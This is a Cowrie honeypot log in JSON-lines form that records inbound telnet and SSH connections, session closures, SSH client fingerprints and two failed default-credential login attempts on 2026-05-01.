{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":49152,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0e4be398851","protocol":"telnet","message":"New connection: 41.76.108.55:49152 (159.203.135.109:23) [session: f0e4be398851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:15.654525Z"}
{"eventid":"cowrie.session.closed","duration":31.17565608024597,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:16.329938Z","src_ip":"41.76.108.55","session":"ff41a1e8f020","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":57234,"dst_ip":"10.17.0.5","dst_port":23,"session":"d892ff34c266","protocol":"telnet","message":"New connection: 15.204.204.191:57234 (10.17.0.5:23) [session: d892ff34c266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:16.386528Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":57244,"dst_ip":"10.17.0.5","dst_port":23,"session":"7207fe9bc371","protocol":"telnet","message":"New connection: 15.204.204.191:57244 (10.17.0.5:23) [session: 7207fe9bc371]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:19.097200Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":37886,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcea2ed8fb0f","protocol":"telnet","message":"New connection: 41.76.108.55:37886 (159.203.135.109:23) [session: dcea2ed8fb0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:19.714919Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":45772,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff9eb48c02fa","protocol":"telnet","message":"New connection: 41.76.108.55:45772 (159.203.135.109:23) [session: ff9eb48c02fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:21.532888Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":36740,"dst_ip":"10.17.0.5","dst_port":23,"session":"a80343a279c1","protocol":"telnet","message":"New connection: 15.204.204.191:36740 (10.17.0.5:23) [session: a80343a279c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:23.756907Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":20946,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc4244f987f5","protocol":"ssh","message":"New connection: 159.223.45.177:20946 (159.203.135.109:22) [session: fc4244f987f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:24.340978Z"}
{"eventid":"cowrie.session.closed","duration":30.839239358901978,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:26.048444Z","src_ip":"15.204.204.191","session":"9cd762a2527e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.552578687667847,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:26.187715Z","src_ip":"41.76.108.55","session":"942c11eb855d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.771522283554077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:26.218065Z","src_ip":"41.76.108.55","session":"78b0acae9761","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":36744,"dst_ip":"10.17.0.5","dst_port":23,"session":"0507edf5ec9e","protocol":"telnet","message":"New connection: 15.204.204.191:36744 (10.17.0.5:23) [session: 0507edf5ec9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:27.175816Z"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:29.612839Z","src_ip":"159.223.45.177","session":"fc4244f987f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.743383169174194,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:30.146532Z","src_ip":"41.76.108.55","session":"31c4e054b6bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"210.114.22.126","src_port":32928,"dst_ip":"10.17.0.5","dst_port":22,"session":"47cec646fb93","protocol":"ssh","message":"New connection: 210.114.22.126:32928 (10.17.0.5:22) [session: 47cec646fb93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:33.842060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:33.848368Z","src_ip":"210.114.22.126","session":"47cec646fb93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:34.150027Z","src_ip":"210.114.22.126","session":"47cec646fb93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plexuser","password":"plexuser","message":"login attempt [plexuser/plexuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:35.567344Z","src_ip":"210.114.22.126","session":"47cec646fb93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.694751977920532,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:36.519061Z","src_ip":"15.204.204.191","session":"022b498bafb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:37.057387Z","src_ip":"210.114.22.126","session":"47cec646fb93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":49160,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e55b4e8fb11","protocol":"ssh","message":"New connection: 122.168.114.167:49160 (159.203.135.109:22) [session: 3e55b4e8fb11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:39.494725Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":48154,"dst_ip":"10.17.0.5","dst_port":23,"session":"9325653d6988","protocol":"telnet","message":"New connection: 15.204.204.191:48154 (10.17.0.5:23) [session: 9325653d6988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:40.415000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:41.803352Z","src_ip":"122.168.114.167","session":"3e55b4e8fb11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:41.851439Z","src_ip":"122.168.114.167","session":"3e55b4e8fb11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.825593948364258,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:42.059381Z","src_ip":"15.204.204.191","session":"035aca30a3a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.562244653701782,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:42.222050Z","src_ip":"41.76.108.55","session":"753c28aed163","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":57718,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc5748b64389","protocol":"telnet","message":"New connection: 41.76.108.55:57718 (159.203.135.109:23) [session: dc5748b64389]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:44.035498Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":59160,"dst_ip":"159.203.135.109","dst_port":23,"session":"415886e8362f","protocol":"telnet","message":"New connection: 41.76.108.55:59160 (159.203.135.109:23) [session: 415886e8362f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:45.336240Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":35478,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebcf7314bfef","protocol":"telnet","message":"New connection: 41.76.108.55:35478 (159.203.135.109:23) [session: ebcf7314bfef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:45.395089Z"}
{"eventid":"cowrie.session.closed","duration":30.477380752563477,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:46.131799Z","src_ip":"41.76.108.55","session":"f0e4be398851","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.681029558181763,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:47.067437Z","src_ip":"15.204.204.191","session":"d892ff34c266","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":33064,"dst_ip":"10.17.0.5","dst_port":23,"session":"08c34f26ac01","protocol":"telnet","message":"New connection: 15.204.204.191:33064 (10.17.0.5:23) [session: 08c34f26ac01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:49.055689Z"}
{"eventid":"cowrie.session.closed","duration":30.953726053237915,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:50.050810Z","src_ip":"15.204.204.191","session":"7207fe9bc371","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43117070198059,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:50.145959Z","src_ip":"41.76.108.55","session":"dcea2ed8fb0f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user","message":"login attempt [ec2-user/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:52.227805Z","src_ip":"122.168.114.167","session":"3e55b4e8fb11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.7408504486084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:52.273598Z","src_ip":"41.76.108.55","session":"ff9eb48c02fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":37686,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfe546fe9e69","protocol":"telnet","message":"New connection: 41.76.108.55:37686 (159.203.135.109:23) [session: bfe546fe9e69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:52.568973Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":46686,"dst_ip":"10.17.0.5","dst_port":23,"session":"11a09902a22b","protocol":"telnet","message":"New connection: 15.204.204.191:46686 (10.17.0.5:23) [session: 11a09902a22b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:53.256274Z"}
{"eventid":"cowrie.session.closed","duration":30.40302348136902,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:54.159820Z","src_ip":"15.204.204.191","session":"a80343a279c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"16.5","message":"Connection lost after 16.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:56.040208Z","src_ip":"122.168.114.167","session":"3e55b4e8fb11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.84303379058838,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:58.018726Z","src_ip":"15.204.204.191","session":"0507edf5ec9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":33984,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ddb80ffff59","protocol":"telnet","message":"New connection: 41.76.108.55:33984 (159.203.135.109:23) [session: 6ddb80ffff59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:58.497171Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":46698,"dst_ip":"10.17.0.5","dst_port":23,"session":"55b532495810","protocol":"telnet","message":"New connection: 15.204.204.191:46698 (10.17.0.5:23) [session: 55b532495810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:58.713351Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":35666,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf485e03ff9e","protocol":"telnet","message":"New connection: 41.76.108.55:35666 (159.203.135.109:23) [session: cf485e03ff9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:58.892067Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":46700,"dst_ip":"10.17.0.5","dst_port":23,"session":"776470ae7423","protocol":"telnet","message":"New connection: 15.204.204.191:46700 (10.17.0.5:23) [session: 776470ae7423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:59.195498Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":40236,"dst_ip":"159.203.135.109","dst_port":23,"session":"573857d8738e","protocol":"telnet","message":"New connection: 41.76.108.55:40236 (159.203.135.109:23) [session: 573857d8738e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:59.937368Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":46714,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee517d8037ef","protocol":"telnet","message":"New connection: 15.204.204.191:46714 (10.17.0.5:23) [session: ee517d8037ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:00.296956Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":36188,"dst_ip":"10.17.0.5","dst_port":23,"session":"634aff842bb2","protocol":"telnet","message":"New connection: 15.204.204.191:36188 (10.17.0.5:23) [session: 634aff842bb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:03.142713Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":54916,"dst_ip":"159.203.135.109","dst_port":23,"session":"370423a969f3","protocol":"telnet","message":"New connection: 41.76.108.55:54916 (159.203.135.109:23) [session: 370423a969f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:03.411554Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":59428,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5610ac194e9","protocol":"telnet","message":"New connection: 41.76.108.55:59428 (159.203.135.109:23) [session: d5610ac194e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:04.435334Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":32876,"dst_ip":"159.203.135.109","dst_port":23,"session":"abc50a562263","protocol":"telnet","message":"New connection: 41.76.108.55:32876 (159.203.135.109:23) [session: abc50a562263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:04.824532Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":32910,"dst_ip":"159.203.135.109","dst_port":23,"session":"07c793a33512","protocol":"telnet","message":"New connection: 41.76.108.55:32910 (159.203.135.109:23) [session: 07c793a33512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:04.833744Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":34338,"dst_ip":"159.203.135.109","dst_port":23,"session":"160f4e6e4f9c","protocol":"telnet","message":"New connection: 41.76.108.55:34338 (159.203.135.109:23) [session: 160f4e6e4f9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:05.112697Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":36194,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a1b749719c8","protocol":"telnet","message":"New connection: 15.204.204.191:36194 (10.17.0.5:23) [session: 5a1b749719c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:05.147034Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":36198,"dst_ip":"10.17.0.5","dst_port":23,"session":"facb0c8eba47","protocol":"telnet","message":"New connection: 15.204.204.191:36198 (10.17.0.5:23) [session: facb0c8eba47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:06.615427Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":54416,"dst_ip":"159.203.135.109","dst_port":23,"session":"7009dc6c0de7","protocol":"telnet","message":"New connection: 41.76.108.55:54416 (159.203.135.109:23) [session: 7009dc6c0de7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:09.728839Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":54808,"dst_ip":"159.203.135.109","dst_port":23,"session":"62ff9ec2a608","protocol":"telnet","message":"New connection: 41.76.108.55:54808 (159.203.135.109:23) [session: 62ff9ec2a608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:09.830854Z"}
{"eventid":"cowrie.session.closed","duration":30.757017135620117,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:11.171894Z","src_ip":"15.204.204.191","session":"9325653d6988","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":36616,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd0ca8dc1412","protocol":"telnet","message":"New connection: 41.76.108.55:36616 (159.203.135.109:23) [session: cd0ca8dc1412]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:12.281257Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":43104,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe647ed4cdcc","protocol":"telnet","message":"New connection: 41.76.108.55:43104 (159.203.135.109:23) [session: fe647ed4cdcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:13.669104Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":44092,"dst_ip":"159.203.135.109","dst_port":23,"session":"e01f7ad6724d","protocol":"telnet","message":"New connection: 41.76.108.55:44092 (159.203.135.109:23) [session: e01f7ad6724d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:13.881388Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":41114,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5b337206b85","protocol":"telnet","message":"New connection: 15.204.204.191:41114 (10.17.0.5:23) [session: b5b337206b85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:14.843407Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":50080,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d98d02212b8","protocol":"telnet","message":"New connection: 41.76.108.55:50080 (159.203.135.109:23) [session: 2d98d02212b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:15.290266Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":41124,"dst_ip":"10.17.0.5","dst_port":23,"session":"b445aea13b86","protocol":"telnet","message":"New connection: 15.204.204.191:41124 (10.17.0.5:23) [session: b445aea13b86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:15.509365Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":51162,"dst_ip":"159.203.135.109","dst_port":23,"session":"d68934c335fe","protocol":"telnet","message":"New connection: 41.76.108.55:51162 (159.203.135.109:23) [session: d68934c335fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:15.588358Z"}
{"eventid":"cowrie.session.closed","duration":31.838111639022827,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:15.873486Z","src_ip":"41.76.108.55","session":"dc5748b64389","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75107169151306,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:16.145988Z","src_ip":"41.76.108.55","session":"ebcf7314bfef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":41140,"dst_ip":"10.17.0.5","dst_port":23,"session":"770d480970f3","protocol":"telnet","message":"New connection: 15.204.204.191:41140 (10.17.0.5:23) [session: 770d480970f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:16.431217Z"}
{"eventid":"cowrie.session.closed","duration":31.198825359344482,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:16.534903Z","src_ip":"41.76.108.55","session":"415886e8362f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":56500,"dst_ip":"159.203.135.109","dst_port":23,"session":"03222c6141a3","protocol":"telnet","message":"New connection: 41.76.108.55:56500 (159.203.135.109:23) [session: 03222c6141a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:16.840762Z"}
